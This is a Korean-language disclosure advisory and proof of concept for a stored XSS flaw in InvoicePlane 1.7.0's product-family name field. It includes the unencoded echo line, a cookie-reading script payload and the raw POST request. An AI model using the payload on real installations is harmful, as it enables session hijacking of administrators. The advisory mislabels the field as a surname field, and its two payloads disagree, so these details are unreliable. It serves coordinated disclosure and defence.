
# InvoicePlane 1.7.0 저장형 XSS 개념 증명 — 성(last name) 필드를 통한 공격 성(last name) 필드를 통해 InvoicePlane 1.7.0을 대상으로 한 저장형 XSS 개념 증명(PoC)으로, 페이로드, 요청, 그리고 방어 연구를 위한 영향 분석을 포함합니다.
취약점: 성(姓) 필드를 통한 저장형 크로스사이트 스크립팅(XSS)
제품: InvoicePlane
영향을 받는 버전: 1.7.0 (및 이전 버전으로 추정)
심각도: 중간
CVSS 3.1 점수: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: 웹 페이지 생성 중 입력값의 부적절한 중화
발견자: Leonidas Agathos
보고일: 2026-01-31
제품군 양식(/index.php/families/form)의 family_name 필드는 삭제(sanitization) 없이 임의의 입력을 허용합니다. 해당 값은 데이터베이스에 저장된 후 제품 생성/편집 페이지의 제품군 드롭다운에서 인코딩되지 않은 채 렌더링되어, 제품 양식을 방문하는 모든 관리자의 브라우저에서 JavaScript가 실행됩니다.
취약한 파일: application/modules/products/views/form.php:40
// Line 40
><?php echo $family->family_name; ?></option>
1단계 — 성(姓) 필드에 페이로드 주입
/index.php/families/form으로 이동하여 성(姓) 필드에 다음을 제출합니다:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
요청:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

2단계 — XSS 트리거
/index.php/products/form으로 이동합니다. 제품군 드롭다운이 렌더링될 때 페이로드가 실행됩니다.

제품 생성 또는 편집 페이지를 방문하는 모든 관리자의 브라우저에서 페이로드가 실행됩니다. 이를 통해 세션 하이재킹(HttpOnly가 아닌 쿠키의 경우), CSRF 토큰 탈취, 피해자의 신원으로 수행되는 악성 작업이 가능해집니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-01-30 | 취약점 발견 |
| 2026-01-31 | 개념 증명 개발 |
| 2026-01-31 | 공급업체에 통보 |
| 2026-02-04 | 공급업체 확인 |
| 2026-02-04 | 패치 배포 |
| 2026-02-05 | 공개 공개 |
이 취약점은 독립적인 보안 연구 중 발견되었습니다. 제공된 모든 정보는 공급업체와 보안 커뮤니티가 해당 문제를 이해하고 해결하는 데 도움을 주기 위한 교육, 연구 및 방어 목적으로만 제공됩니다. 이 정보의 악의적인 사용은 엄격히 금지됩니다.